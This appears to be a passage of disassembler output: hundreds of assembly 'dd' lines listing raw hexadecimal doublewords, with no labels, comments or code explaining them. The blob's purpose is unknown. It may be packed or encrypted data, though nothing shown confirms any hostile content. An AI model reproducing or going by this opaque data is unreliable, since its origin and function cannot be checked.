		dd 6A5E6400h, 0A0C5235Bh, 0C665156Ch, 161DB006h, 695A07A6h
		dd 0CE76B0B6h, 0E70064BAh, 0A9946E1Eh, 0FEE6BBFDh, 2DDE0C86h
		dd 4C39B527h, 19575D07h, 8320E76Eh, 1F687E3Dh, 40EDF875h
		dd 0C2DD3992h, 97062B90h, 48B7F967h, 277B00B0h,	0EAE688B2h
		dd 0DA03DC7Ch, 4FF0F18Bh, 39201658h, 1C00FFBAh,	0C6E8A195h
		dd 0C78C014Ah, 3316D0EBh, 0FBD080CBh, 859FCC03h, 168B879h
		dd 3A433749h, 20529251h, 740168BEh, 28B1C37Bh, 0FED4D1B5h
		dd 79DB00E8h, 0FAF63A78h, 0BFEC33E0h, 54F9C600h, 0B3417C02h
		dd 197301F3h, 25A28809h, 0D38493DDh, 0A31E2D00h, 1B0E6583h
		dd 88666AFFh, 1556AB90h, 0BAD59A00h, 24822D0Ah,	0EE9B010Bh
		dd 0C8B197B6h, 0FE15303Eh, 0C9DBB0Ah, 3301A0B4h, 432740ECh
		dd 7392D1B9h, 57B80FFDh, 44DB58C0h, 620037EBh, 3F0C386Ah
		dd 3A2BF50Ah, 0DABF90C3h
		dd 0E2EDA300h, 0DF66A6A4h, 46C43600h, 3A692055h, 54B40130h
		dd 2A0DB095h, 9857308Bh, 68CCFCA0h, 917B2B00h, 0F1FA8D4Ch
		dd 0BDBA02A1h, 0CB2EE9Dh, 0B1ABB848h, 0DE8FAD00h, 0D5013D90h
		dd 0B9A53E70h, 0F1591Ch, 6AC4A79Bh, 383F39F4h, 1E200004h
		dd 56D05334h, 859000A4h, 0EEE9EFB8h, 0C1005D8Dh, 3C31E737h
		dd 1C4519h, 0A36A65B0h,	4BB6CA66h, 8DCC8709h, 15000049h
		dd 1D51FCDAh, 8914135Dh, 4A0F67Dh, 0F4A50B67h, 99248C02h
		dd 4069AF51h, 193F8ACh,	56F1AD5Ah, 0DCD567EEh, 88602FAAh
		dd 6C0BAF21h, 7BB100FFh, 319639EEh, 0A3004794h,	4D519E1Fh
		dd 1E2AE512h, 0A409C15Ch, 62898044h, 870E3FB4h,	0D8355A00h
		dd 8E4E2A2Eh, 0CDBC0049h, 0E1413201h, 0CC08BDFh, 5074CABh
		dd 3027089h, 7AE91168h,	84C8EF46h, 7307DB3Eh, 0E8FC8CECh
		dd 0EBFAB0C0h, 0C24500B6h, 3F9240E4h, 0B77BEEABh, 0D6BC7500h
		dd 0F2E60FC5h, 2E880776h, 59CAFA01h, 11353C80h,	3B3E4FC2h
		dd 0AF7F1880h, 3D328330h, 0E396F34Bh, 0D120760h, 0DE0A30C7h
		dd 0E100E611h, 955CFD78h, 95161EAh, 56881D8h, 0C7DE4820h
		dd 600F1CFh, 16C50CF3h,	0E17C75h, 8FE7C1BDh, 0AE415ECh
		dd 0AF0048E8h, 6CEADA20h, 941C27h, 0C5B89F77h, 8D2EF246h
		dd 0C3B31500h, 16E42A6Dh, 0B53500FDh, 8F297796h, 0DF0319E6h
		dd 5A9BD02Ch, 0B230EF07h, 11233CAh, 24177F85h, 0E8EB6527h
		dd 800A663h, 2C9E8C35h,	73E7211h, 5ADDF514h, 6CC0CECBh
		dd 6D48F610h, 0E4C0BC72h, 3CD90F09h, 0A3300090h, 0A9B034A7h
		dd 0BC00DDF8h, 0E144079Dh, 7E390F49h, 1DFE681h,	1F88A97Bh
		dd 247D2C4Dh, 0C6F60680h, 2E00CF7Eh, 0C3E89085h, 5B3501h
		dd 8F14CAAFh, 0FB10F686h, 3AD41204h, 9485B7D0h,	14FFE800h
		dd 48ADFDE4h, 0BB0F3CBEh, 45C10366h, 0E43D0F1Fh, 920C5F9Ch
		dd 7183FA3Ah, 97B0134h,	28AC2251h, 7730204Fh, 0B32495F0h
		dd 7B0018D9h, 76204E7Fh, 0ABF71E2Eh, 9874C055h,	8A4592E2h
		dd 0A9B77E00h, 0B49B6F89h, 0FD300326h, 5566C0B9h, 5DE808D3h
		dd 0B6077240h, 27BD8BBEh, 0FC188580h, 2069487Bh, 1C2AA417h
		dd 0B135C03Ch, 0B682CB5Fh, 0DA45F00Bh, 39840013h, 0F198B2h
		dd 6CF8C07Eh, 0F631DB14h, 0CD2E2800h, 85945B18h, 445F000Dh
		dd 0BB1991Bh, 97017795h, 12768926h, 0B6E0C2F1h,	0A98A0051h
		dd 0D7DEE104h, 9F00903Fh, 34400F86h, 3AFDD5h, 0E8EDA219h
		dd 7DB9AE96h, 0B7026B00h, 0A692E9C2h, 0F94900F8h, 5C441D1Ch
		dd 3100734Bh, 1EBECB69h, 0EC05E3h, 2D103A5h, 0E22CD83Ah
		dd 0F2AE7300h, 59A1E0A3h, 77FF1F07h, 2E691D40h,	6D420027h
		dd 0EA83ADE3h, 75E44B18h, 40D0F19h, 612D980Bh, 2644C2F4h
		dd 5EA47CC8h, 4B0E77B8h, 0A08B8322h, 7431BEA5h,	0BF9D0099h
		dd 4D18FF06h, 3400A815h, 600EF73Eh, 0A878D538h,	0BB75BDCh
		dd 6DC03DBEh, 3EC47A00h, 0D6011219h, 7DD5F174h,	8074A4E3h
		dd 0F0DC2032h, 1990EFB0h, 0C5F8E701h, 0A7682C35h, 0A47E1880h
		dd 0C46A068Eh, 0DC10A160h, 9D198Dh, 151F0ACh, 8093ECCBh
		dd 0EBA4E407h, 83F7A917h, 4754BFB0h, 0DC01077Eh, 0C0A8EE4Ah
		dd 0B76208F3h, 0F80CAD7Ch, 50781835h, 0A6310029h, 0CCF2801Fh
		dd 440092A4h, 0C8E19A61h, 120D34C5h, 805C251Ah,	3A2BA208h
		dd 0C26A644h, 0C98993FDh, 0CB0A9038h, 1030344Dh, 0AF6E2203h
		dd 1A68037Ch, 0B6AA0106h, 0F37390E0h, 0C6458E00h, 0A1E8FF61h
		dd 8DE900CBh, 0BA152675h, 0C006F16h, 0AE1CB04Ch, 40A62Dh
		dd 72CEDAAFh, 0A80DDB4Bh, 0DC8CEF07h, 49F03842h, 1059389h
		dd 0C62C7CBDh, 0D03739C4h, 8800502Ah, 0A891181Ch, 0FDABC3h
		dd 308C0804h, 64259BECh, 1CE98103h, 0F0105D44h,	953523h
		dd 0EFC14C7Ch, 0E976934h, 938D4A3Eh, 500990Dh, 0C7581AEEh
		dd 70DA00A6h, 92E64F0Ah, 8700575Ah, 33487C65h, 8DD26Eh
		dd 97716395h, 49F527D8h, 0C68EDB00h, 0C5471EC9h, 6BFE391Dh
		dd 498B4AAh, 6D84253Eh,	0A1A4A2A0h, 14248C83h, 0B125003Dh
		dd 0B24F33E4h, 321DDC91h, 0DAC0CE35h, 39D954C0h, 2A8B0042h
		dd 1E8A300Ch, 0EC18B655h, 961CD664h, 0F76607A4h, 0D00D35AFh
		dd 82AE2623h, 569BA909h, 64284905h, 74784E0h, 0CA114306h
		dd 13605262h, 0C71BB0C8h, 16141000h, 6F4C5D79h,	42B91C61h
		dd 0A31C032h, 783D1292h, 905895h, 49D852Dh, 6C101D97h
		dd 878FE800h, 41D63CB5h, 0C0B25C84h, 8D307B00h,	0DD1F28C0h
		dd 99863A00h, 7C84C636h, 48C070Fh, 0A0A22B51h, 0D530DC80h
		dd 1D86A000h, 52670DF8h, 4DD200E9h, 87F97256h, 4A00B7ABh
		dd 35450BDAh, 0B3021AFh, 0B8E38A98h, 776BDC00h,	38008C3Ah
		dd 3D78AD11h, 1C52A8CEh, 809CDBCAh, 0C1B3AB12h,	0D6001ECCh
		dd 2A4729Fh, 77A920h, 5C65818Eh, 953794F8h, 0C36A5D00h
		dd 419CB27Dh, 0EC900BBAh, 0A4018871h, 0C4A332CCh, 7000E8C5h
		dd 7E077F08h, 59ADBBFDh, 8300E044h, 3EE9F04Ch, 200F735Fh
		dd 12EC0835h, 0BD30E880h, 0D6DBA04Ah, 0ABB1CEAh, 0D9F80789h
		dd 987A62F1h, 9024F450h, 0DA80189Bh, 13479158h,	0E0B876h
		dd 22166F7Bh, 5272B604h, 263DB00h, 0D48CEE97h, 0F1440037h
		dd 990BF00Ch, 0AEFA8EE6h, 60AC5202h, 68DD58F4h,	0F69BDB8h
		dd 13FA381h, 55E32B20h,	0E500FC4Ch, 5C884ADAh, 215B23h
		dd 7E3850F0h, 837F6E62h, 436A0300h, 393669ACh, 9F5E8EFh
		dd 68AA4748h, 0C8F78F01h, 3D2BD450h, 9A16DB00h,	140B26A9h
		dd 682024DAh, 2A1A8090h, 1B28A85Fh, 0B10FD878h,	0E0A77C5Bh
		dd 2B229B9Ah, 80640A70h, 3BC7D32h, 0C27BAE76h, 4EDEE9B0h
		dd 0C0A62300h, 3D44F799h, 3954013Ch, 0D3E0FF9Bh, 5586F4BDh
		dd 0F5F47C07h, 0D0004AEFh, 959996h, 0D3C11790h,	792656Ah
		dd 0DA38C892h, 6D6E80A5h, 0EE94BB7Fh, 0B26400D0h, 99E1ED9Fh
		dd 1C00ADA9h, 0F701A7A4h, 0F6F48884h, 3C007EFh,	0A0042C29h
		dd 54411926h, 0B77B4401h, 34765FBFh, 8AA8E4h, 2A47019Fh
		dd 44E3FE4Dh, 0EB6DB500h, 76A00E38h, 0CEC60E4Eh, 15B795F8h
		dd 8A021414h, 4082E61h,	35E6C360h, 7B006EB0h, 0AD6C556Eh
		dd 7001CF67h, 0CAD404B6h, 81A8D5A4h, 109FFF1Ch,	0CFC391h
		dd 0EF3D0466h, 21485371h, 9258000h, 6323D835h, 8B40001Bh
		dd 0DE78B270h, 367F8A48h, 1E0CEB3Dh, 1F0034B1h,	75FC4599h
		dd 7D273E0Bh, 0D8C88680h, 0A80203Fh, 0EFD18307h, 13803D32h
		dd 3D68435Ch, 0FB008BA8h, 0E7A0BAD6h, 2E015644h, 7DE99653h
		dd 4280C7B9h, 0C3F7AA99h, 520E7ADCh, 178D040h, 99685BAh
		dd 0B5706ECh, 346E6445h, 0E440330Eh, 3A95C59Eh,	2520E700h
		dd 2D5AD02Eh, 703F07F6h, 0B02AA352h, 9035A0C4h,	0C1AC7F00h
		dd 0E29B3475h, 3B50ECBh, 0C480FC2Fh, 0E0E3B66Ah, 0D4E88E00h
		dd 132CA424h, 663F211h,	0DC6F9CD0h, 0C2008C12h,	0D64B48C4h
		dd 791482h, 5F361DEh, 0ECBA3C44h, 6502627Fh, 45540F81h
		dd 2843FEh, 2D855E96h, 0B77AB90Ah, 7E18AA09h, 60D84056h
		dd 592A1719h, 6900FE4h,	23A07A6Fh, 66857E34h, 0E7AD2B01h
		dd 56946A49h, 4A1C9C28h, 8F5440EDh, 3D3B6F62h, 7D916500h
		dd 838999E0h, 2B7456h, 43678207h, 6FA9DE19h, 41C0CC7Bh
		dd 8DB3B4E5h, 0D874056Ah, 0D7EE5E81h, 5C0DF00Ch, 98001A41h
		dd 9EB9ABF9h, 90771F30h, 0FEA6009Ch, 7D3C5B79h,	19003ACEh
		dd 1064495Dh, 3933319Dh
		dd 3618128Bh, 4DAC2137h, 1BE2248h, 0F1E05A5h, 0DA70DD40h
		dd 38695914h, 0C470971Ch, 0D049BE78h, 7F43F408h, 0F77B0F00h
		dd 7DE8DA1Bh, 0FCB200BAh, 61D0EB5Fh, 0C70C41C8h, 20CB984Fh
		dd 0FC46487Ah, 362AFD80h, 0D7009304h, 0B6CDEA3Bh, 5BC8AB6Ch
		dd 138C0AEh, 0B77B54ADh, 1D752E00h, 646AD7FAh, 0D0F100AEh
		dd 1A8B2395h, 0C97C0174h, 0B6535700h, 0F55C6C29h, 0C4B000DAh
		dd 0CF3547F0h, 0DD0C5203h, 0EEEBF938h, 1E4B98D1h, 0C0392963h
		dd 80E349A0h, 6D00B3AAh, 0A2EB8F7Ch, 1DBCA97Ah,	6417BF2h
		dd 26473A96h, 0EBAF7D00h, 0FC3079FFh, 0F2EF0E93h, 0EEC0D6BAh
		dd 10DED77Eh, 0AC1D57EEh, 479F4234h, 8E494Bh, 43CA2418h
		dd 0D59B03C2h, 9A64148Fh, 688625F0h, 0F001F2F2h, 66A9609Ch
		dd 0D8FCBAC2h, 36773E94h, 8044C41Eh, 0A45BDB78h, 0AD00AE08h
		dd 1A75EAC0h, 12940E34h, 23A80F0h, 2B3E86B4h, 0FD5A8780h
		dd 5800BF67h, 63A70A8Fh, 77C82ADh, 8944C8AEh, 495730ECh
		dd 0D100743Ah, 0D32977F2h, 275B1B85h, 41D4BF32h, 0EA47E71Dh
		dd 3170363Ah, 0B82B75Eh, 0DC6DFD30h, 7580F83h, 4F7E35B8h
		dd 0A3394400h, 9F63B3ADh, 1EBC90ECh, 0C029C973h, 86D49D7Eh
		dd 0AF2C5404h, 0ED0172C7h, 24A663ECh, 7F48A0CFh, 861B093Ch
		dd 0F4A7B260h, 0D80290BCh, 65003EB5h, 87105046h, 28FFA0h
		dd 0BFE3D65Ch, 8609AED5h, 9C1D0301h, 587BD9B5h,	3F810F2Fh
		dd 36F3A041h, 1948C875h, 201E6609h, 800868EAh, 2DA50006h
		dd 8816C601h, 963189D1h, 0A8F1808Fh, 62DA109Eh,	44CC7040h
		dd 0E0F04053h, 17EC1F0Fh, 93AC03A8h, 2528B675h,	0E4216524h
		dd 0F0E3661Bh, 0CA12FD1Fh, 24C0929Ch, 5C4A8E1h,	25100D2Eh
		dd 2918006Eh, 901BA630h, 5C9DD137h, 0C9F17840h,	42E74B7Dh
		dd 0F0E91F6Ch, 2B3E0C5Ah, 0BEED80C5h, 95F36837h, 0CD4B5861h
		dd 0E9A99714h, 350B900h, 0C153EA3Dh, 0A6F438F8h, 28CC6607h
		dd 12D0F390h, 15DBAFh, 3A692202h, 0E9E478BBh, 274A5B1Eh
		dd 0B139CC00h, 486110h,	7476F462h, 4CAB9A08h, 2F33881Fh
		dd 0D035880h, 0CA7209h,	9B517165h, 2185DE67h, 0EAC5CCF1h
		dd 0B12C3201h, 7553180Fh, 0FEF7DCh, 0F3AE9DB9h,	87231043h
		dd 0CCB19801h, 0E0CA484Ch, 0A53C420h, 972CE88Ah, 28888080h
		dd 0DEE58C9Ch, 921DCFF8h, 70065FBh, 17A81F58h, 0C8CA0729h
		dd 6F3B61BEh, 0C320AD67h, 400903A2h, 0C86B438h,	251A8h
		dd 0F19D303Ch, 19A5D120h, 0EB086865h, 24D9CC40h, 0B1E630h
		dd 88CB3E7Dh, 0A2AB7BA6h, 1896C97Bh, 2863CA82h,	0B5F1E0FAh
		dd 0F6153D2Bh, 0A287E601h, 80A31D1Eh, 0F329C129h, 0CE4CB8Ch
		dd 0E524F193h, 21C0B508h, 5CF33261h, 605471E9h,	7E4850F7h
		dd 9206D695h, 8D4C38F4h, 82C8C8D0h, 813050C0h, 0EE1F1h
		dd 0BA3018E5h, 12321FE8h, 5FA9F14Fh, 5707C03Ch,	0A0866455h
		dd 0DD8A30Ah, 6701A0DEh, 8D7FC5E0h, 0FFEC30CDh,	0CA940AD4h
		dd 0BB497DDh, 0C883C73Eh, 81F05BF3h, 0B00AE4Eh,	562831DAh
		dd 98F23Fh, 0C9C1FD37h,	0DFBCB801h, 66903300h, 110AA025h
		dd 6C2F00C8h, 3157C97Bh, 55002449h, 77CA6956h, 7AD30994h
		dd 15AD00E7h, 62730348h, 6A006C4Dh, 792CD692h, 8DC11Bh
		dd 0BD365547h, 0E21F2DACh, 243ECCEEh, 422E8FC0h, 2FE0EF97h
		dd 5709E0AFh, 782107Dh,	92B494F0h, 0F4E3039Ch, 0BF303079h
		dd 73CB3818h, 420B006Ch, 12710E3Ah, 18C0F13Dh, 0B2380224h
		dd 2C830077h, 5CD1CA3Eh, 7C01030Ch, 64F1206Fh, 2EEC4E08h
		dd 0C4210E61h, 0FF6246h, 39FCF394h, 0A03B0F0Eh,	413E7C24h
		dd 6E2B0852h, 0FF5F803Ah, 59C6AC8h, 8ACB1A05h, 680058B7h
		dd 0F237C2F6h, 10AA00A0h, 1E6B09C3h, 1A00A288h,	0CDAD5EDEh
		dd 38F56AF9h, 0B0E08B7Dh, 0E6AA2BC0h, 0A8B48502h, 6095BD0Fh
		dd 370AC792h, 0C34075B6h, 1901D0D7h, 0E545F958h, 7700EF4h
		dd 12850FAFh, 0DE6C7Eh,	0D5FB232Eh, 6A003F4Ah, 0AEDCFDC4h
		dd 560D17h, 9F81938h, 0A1BD1C1Dh, 33F08F01h, 348BA60Ah
		dd 21B912D1h, 9CBCE300h, 0EB544BE7h, 0CF743700h, 6F55A79Bh
		dd 0A18D00D3h, 0CA57C280h, 44724954h, 10F09030h, 743E9AEFh
		dd 3CDC3019h, 0FFBD5250h, 7D9F9E00h, 0E7610856h, 0D3541867h
		dd 3D09583Ch, 9A7628C0h, 67540E6h, 9BC3300Fh, 51302011h
		dd 84FB9904h, 0AD770C8Ch, 7690CC4Dh, 0DED3ED00h, 0E307632Fh
		dd 0D7CF0373h, 15EFFA3Ch, 0DA295900h, 615C1C53h, 8ED40E6Bh
		dd 0EB8D6CF9h, 531140A1h, 1A3C9BC0h, 930800AFh,	0F74E566h
		dd 51911C4Ch, 0F460C029h, 5D6354CCh, 0E7233Dh, 2E523A10h
		dd 7E45F49h, 0D8CF5C80h, 1965B1D2h, 177A6038h, 6F975700h
		dd 1873D0A4h, 999F0011h, 89B4F3FBh, 23008BDBh, 932DD961h
		dd 0F28A6B97h, 69E500B1h, 0F22CC206h, 6700446Dh, 863709FFh
		dd 5AA90Bh, 3D8546B2h, 0F825C8C1h, 563F1000h, 0D9F99D1Dh
		dd 0D06F0086h, 1CD29F4Eh, 2900924Fh, 0D8706794h, 0B88F28h
		dd 8C0B1D0Fh, 0E791789Bh, 121E0C00h, 75489DA9h,	82731CA0h
		dd 0BC01C1F4h, 0FC41FD1Ah, 0DC7096A3h, 16045300h, 9445688Bh
		dd 0F4B3005Bh, 919EE421h, 9200A1E8h, 4666E03Dh,	199AB6Dh
		dd 0ED3CCD05h, 0C84BCC07h, 0FA0097A4h, 78122396h, 912A20h
		dd 0F445B449h, 47FCA12Eh, 11630F30h, 746AD7B7h,	0A7CC0099h
		dd 6B545BDDh, 0DB00B549h, 0F575A990h, 4BF8D47h,	30668613h
		dd 0EB7780F2h, 4300F95Eh, 981AB15Bh, 0E72D64h, 4D8466DAh
		dd 556BD658h, 59826000h, 0D25B9CAAh, 0C9C01EF8h, 0C19ACEBFh
		dd 6F79ED80h, 4900D357h, 6B3A7F4Ch, 0FC7EF4AAh,	4E0B6h
		dd 28B466E2h, 0C0A83FD6h, 1C332200h, 40546D1Dh,	4BBC0035h
		dd 68DCFFD1h, 0C000EED4h, 88AEDD27h, 1618B64h, 924EE5D5h
		dd 0F14ADEF0h, 0DFB4C430h, 0C69D9402h, 40E71644h, 602EF4h
		dd 224876A9h, 0CCF93EEBh, 0E506500h, 1D0713Bh, 0E6B43967h
		dd 80A29F1Dh, 2EBBB657h, 6A05EEFAh, 0FBE4759Eh,	36660680h
		dd 5D4D589Dh, 0B258C900h, 0F46F68Fh, 0C163EF1Ch, 3656A7h
		dd 518829A1h, 0DC3A31E1h, 24B5004Eh, 34D48928h,	0B09B3A1Eh
		dd 903FD803h, 0D6F05AEFh, 0EC00F597h, 0A479013Ah, 79948EEAh
		dd 8BA90110h, 1BE9D365h, 0E3C0417Bh, 5AB7EC46h,	576BFF07h
		dd 300CF393h, 0EBB900FAh, 116E31CCh, 0F6003306h, 88AA3D95h
		dd 0D19BAFh, 0F710A84Eh, 848A4FF0h, 17AA458h, 2E8C254Bh
		dd 98419B50h, 0F0E71627h, 28DAC0Fh, 0A0A1463Fh,	0C055D783h
		dd 0EFB41Eh, 17D8910h, 940604DCh, 73F74F00h, 0E217BED9h
		dd 749200C2h, 1BA3CCE4h, 0B8004961h, 557F0EB6h,	0D3C7FDh
		dd 6233EE0Dh, 6CA13EDDh, 0D5F85301h, 77E5824Ch,	79489F4h
		dd 4BFC5B1Dh, 0A9B5D0DEh, 0EFE43516h, 0C5D46A00h, 86C0A1CCh
		dd 0DF3730F9h, 32748530h, 0FB884901h, 842E4E60h, 3CE0F7D4h
		dd 1A803F16h, 0F9594D4Fh, 41E7DCCDh, 0FCBC81CCh, 9F0F91F4h
		dd 473B119Ch, 8210933Ch, 611A8Dh, 9AB0D1D7h, 0B2340583h
		dd 76DAEC00h, 4186F264h, 0A30A0074h, 0CF44EA1Dh, 0F639BDDBh
		dd 0E024FFAAh, 290050E6h, 1484E598h, 240D3A63h,	6A34890Ah
		dd 0E3D130ADh, 10575F1h, 79C8E2Ah, 0DDFCA000h, 89D8EAh
		dd 0A822F8D9h, 0DABA7469h, 0AD16E998h, 37FC3DC4h, 84103400h
		dd 0EF2B175h, 2ADDF51Dh, 0E7205F03h, 1B21B84Eh,	0CC3D001Eh
		dd 0A7D8D1CDh, 8700EAB6h
		dd 0E40D2635h, 905765Dh, 24779E12h, 0EED02C80h,	0F024BDFh
		dd 69394595h, 0D10C40D7h, 46BF0EBEh, 0B1A00231h, 88DB9CF5h
		dd 52033EF2h, 91C2569Eh, 4E51F8FEh, 0DA1C3290h,	3C48D238h
		dd 5A7E0D2Bh, 0AAB0D600h, 14345C47h, 170E1h, 0F420F6ACh
		dd 284B887Ah, 0CA374100h, 0E2381C22h, 645F18F8h, 92B210C6h
		dd 5077E700h, 0FF180921h, 26E3095Ah, 0BC03B6A8h, 2800C8B2h
		dd 423DF105h, 146CC6EDh, 0C8E485A4h, 1B3E3701h,	8011D6F2h
		dd 9A337128h, 0CB663Ch,	0ED6B984Eh, 0C3C22310h,	13B5B900h
		dd 0D02F8480h, 5A0800A9h, 5C7B962Dh, 0C101B48Bh, 5197FB94h
		dd 90F86AFFh, 0DA2D0056h, 215E70E9h, 0EC9248D9h, 7F0CA000h
		dd 0A8C8F669h, 7DFC3B47h, 0B825918Eh, 4845F4C0h, 8200D665h
		dd 92C5077Ah, 2BC9C21h,	0CFD81A8Eh, 786866B7h, 4A5CEFECh
		dd 0A3BA00B9h, 0CFFCE225h, 0C110A3B0h, 40804AD4h, 85A9C9E7h
		dd 5900D0C0h, 9BD1B284h, 0C04B23EBh, 66A3DD21h,	8E3A5C9Ch
		dd 34C3A2Dh, 9B8200Eh, 0CF060124h, 0BD85641Fh, 0BB01C0D5h
		dd 9236C501h, 28B56EC6h, 39F4FF8h, 95F77EFh, 21E0382Bh
		dd 5C00D431h, 54B9DBA6h, 1DB3B089h, 0C015642Ah,	2644503Bh
		dd 0AA00F9E4h, 99F8A4F5h, 3E9EF7C2h, 0A11D72E8h, 0D018F6ACh
		dd 98C3217Ah, 0E27E9C3Bh, 7A0C80AAh, 0A0761Eh, 0C826AB09h
		dd 0EA6BACA9h, 17703950h, 8FA4B600h, 79BF8582h,	42A34844h
		dd 0A1A7F500h, 96DFCD2h, 0F83BDF2Fh, 950B0F47h,	0E8619D01h
		dd 70BE2243h, 20009052h, 79275342h, 0A0BB334Ah,	702930F1h
		dd 0FE6E00D6h, 5B786B88h, 3D009F25h, 1FBA148Dh,	798DFC6h
		dd 0B950E730h, 29AE3053h, 0B102A842h, 574373EEh, 966FC0ADh
		dd 0F89073C4h, 0B03A011Ch, 784E3E6Bh, 4C5CDCAFh, 991754B8h
		dd 680E01AEh, 6A064063h, 76C5E2E0h, 0D5A20061h,	8E95F87Fh
		dd 0C2B8993Ch, 0DD3A4A03h, 0A04D81C8h, 1C35921Dh, 0C0B76D06h
		dd 0D62FAAAEh, 0D71D1339h, 6540AF77h, 7CB90543h, 8FF70A7Fh
		dd 87B4F5FAh, 0D09EE60Bh, 0A49C935Fh, 0C9424A00h, 9422CE20h
		dd 0D08C072Dh, 475A7DA2h, 0F7F8D11Bh, 4EC04071h, 0CE1C373Ch
		dd 0A507BBEBh, 65A29C43h, 2579C023h, 0E44B030Ah, 0ABB7D06Ch
		dd 80FFA6CBh, 32840636h, 728D8F00h, 0DB097314h,	53FB2A9Dh
		dd 1BB200ECh, 0C48B8901h, 6400E5B8h, 94E18180h,	75DEA57h
		dd 6D1C330h, 6A896C18h,	7C2543Ah, 139BC928h, 0D0D09E24h
		dd 0DCBD7Bh, 0BBA63C50h, 0D3FBF7FEh, 704F4303h,	2E53968h
		dd 51E82129h, 0B4486AC4h, 60B5DE3h, 80FEEA42h, 528F9F86h
		dd 0B3D20081h, 57840736h, 98187503h, 51B94F78h,	0B2B40081h
		dd 0C649C8EAh, 8073C87h, 0A1452BE3h, 75694Ch, 66C8B90Dh
		dd 0CE25FF6Fh, 610312F8h, 0FA7F0603h, 84511C1Ah, 1E700028h
		dd 0EAA3B901h, 0F143F030h, 7C3967h, 0C32EF218h,	0F5BCE9FCh
		dd 0D9482A0Bh, 0C2228334h, 97491C1Eh, 9E0D80F7h, 1BB3B14Eh
		dd 15053C1Fh, 81D30181h, 0A4481710h, 238200A6h,	0C4AE84FDh
		dd 70002726h, 103948F8h, 0A074F08Eh, 1D3C819Ch,	5E05BEAh
		dd 4F559E98h, 0EC432680h, 0F8907712h, 930006B0h, 0D5F12488h
		dd 24213702h, 47F0C243h, 6DEBC127h, 47B9C051h, 49C6900h
		dd 0EFDA66ACh, 0AC9E5297h, 0BEEACE00h, 3B153023h, 84F15329h
		dd 7E25AF00h, 0F30113B2h, 7C876FCh, 2FE98959h, 649AC2DFh
		dd 4520E8A0h, 2E1E05EAh, 0A28FFDF4h, 2BD5006Dh,	499F95DAh
		dd 0AE00049Ah, 5CC7E1BCh, 60243ED1h, 0C4094F8h,	4C8C1Eh
		dd 66901F95h, 5D603D17h, 62531303h, 0F6D3F5E0h,	0E4691499h
		dd 0A1C0AC5Fh, 0CE9F036Ah, 0BC277313h, 87F61C00h, 67FEC8BDh
		dd 3075E95Fh, 67A431B5h, 0E05C309h, 40F20F0Fh, 746680C7h
		dd 0D17B619Fh, 0DA86FB37h, 98FD5C60h, 55396D2Eh, 0C4D30800h
		dd 1AEE3F48h, 0D90745EFh, 5768B440h, 0E8C6D70Eh, 87D48282h
		dd 1D04037h, 327114C8h,	5781AC18h, 21F8B2C9h, 7E54C0EEh
		dd 3E0017F4h, 7B026F49h, 0F26E0839h, 4A31CB45h,	931D3100h
		dd 0C90364DDh, 298F0CDEh, 0D2F9A02Ch, 3058BA6Bh, 61C1879Fh
		dd 6AE83AA8h, 86449000h, 0C4082E3Eh, 9AC20A22h,	40BCF969h
		dd 0C1AEBA36h, 13251A00h, 458A0950h, 19B701DBh,	0F0DEBDE3h
		dd 85618060h, 0EB061675h, 7187071Bh, 87DE5FDAh,	936A408Eh
		dd 0C0008162h, 0BA82441h, 4143C94h, 0EE39796Fh,	0C7389001h
		dd 51C066F0h, 32E34AF4h, 0D410073Ch, 0F129A9B4h, 0E4C8572Bh
		dd 6E01170Fh, 49CA0694h, 4441DDF4h, 0E985889Fh,	8095E3D4h
		dd 0F0CEB5FEh, 9C31D200h, 52247F8Ch, 296B60F5h,	8E21CC88h
		dd 3239A104h, 4C8E445h,	3E0F09CFh, 58017F9Eh, 4018045Dh
		dd 9C777150h, 0EBA95401h, 2D0C5AFAh, 73FC57C0h,	14D3ECEAh
		dd 4C16EE9Fh, 0BC775E00h, 0DBF7E1CDh, 720C3600h, 0B43BD2Ah
		dd 0BC4648C1h, 4A9B11h,	260E84CFh, 1128BE5Eh, 171D2F6h
		dd 0A1C28120h, 0C19C65A2h, 75680190h, 0F09D469Bh, 8D769AA0h
		dd 7235EA31h, 0D4D9A9EEh, 0C8B87AF9h, 0A2A07589h, 0BBCC0810h
		dd 1A0D0E00h, 0C97C0452h, 337DEDh, 0A93FC768h, 6C408A81h
		dd 85FA4A18h, 0A1C9A1h,	894696B7h, 40327E45h, 76719C17h
		dd 0FF340Eh, 2DACC6BBh,	9F92A73h, 0A66C00A8h, 0CC64C2AFh
		dd 0A038215h, 93FBC18Eh, 0CFF2A028h, 0F6F0C74h,	666951FFh
		dd 84F48600h, 9EA79B60h, 0E9F3A08h, 78540B81h, 514417C0h
		dd 202A278Ch, 773C1AC2h, 5F388023h, 3C6E14F4h, 515260FCh
		dd 0E618B863h, 0AE86AC00h, 0AABD7C31h, 0B89863E4h, 51A61737h
		dd 8074FC3Eh, 6D5BDAB1h, 0B0A28153h, 553E4404h,	0CA73300h
		dd 0D518C184h, 0EC46034Ah, 1189D4E9h, 290777CBh, 7993A4BDh
		dd 0C3271060h, 31A60230h, 0F4EC44E3h, 60FCB448h, 0CCB9A1C0h
		dd 3F8AC3Dh, 5EE3CB2h, 58133383h, 0B60001C9h, 41F7A8B9h
		dd 0F6C130D3h, 0EB2C5941h, 8F1A313Dh, 0E0B236D6h, 3A237052h
		dd 9317168Ch, 801C1DEFh, 625083E1h, 0E214040Eh,	78F0C6h
		dd 0FD229A99h, 7FFC477Ah, 670A007Bh, 0ADCCCA23h, 0DE031287h
		dd 5FBB011Ch, 0A1399098h, 0F6ECA81Dh, 493B60D3h, 18A4A72h
		dd 75FEC91Eh, 0B60979C0h, 122A56DAh, 5267CFF6h,	0ECA830D4h
		dd 0E9713849h, 7578F200h, 0FCE6FF62h, 7D590BAh,	1CCB8FC4h
		dd 80587472h, 0A539C764h, 9DA90916h, 8DE4F402h,	886418h
		dd 4C40462Bh, 0F89D933Bh, 24BB8C1Dh, 0FBA09C04h, 7F0488h
		dd 6E546C4Eh, 143762F2h, 95AA5506h, 7C493A17h, 82BC07DDh
		dd 3FCB7557h, 5D8D420h,	0A3265AE9h, 0E04004F1h,	18287178h
		dd 68FB15EDh, 981C52E6h, 3847BA2Ah, 963473D3h, 0E06CDCC2h
		dd 0CBDC64h, 0B0F9B41Bh, 257F5F43h, 0E8F460F9h,	7683CF02h
		dd 0C00EC7AAh, 11320F8h, 46B389A3h, 1049FC16h, 66551Bh
		dd 6388E873h, 97F4F77Fh, 9408805Ch, 59F801C0h, 8EE457D5h
		dd 1B21C20h, 4C7E1B65h,	0E0125844h, 0BA3CA55Dh,	484000ABh
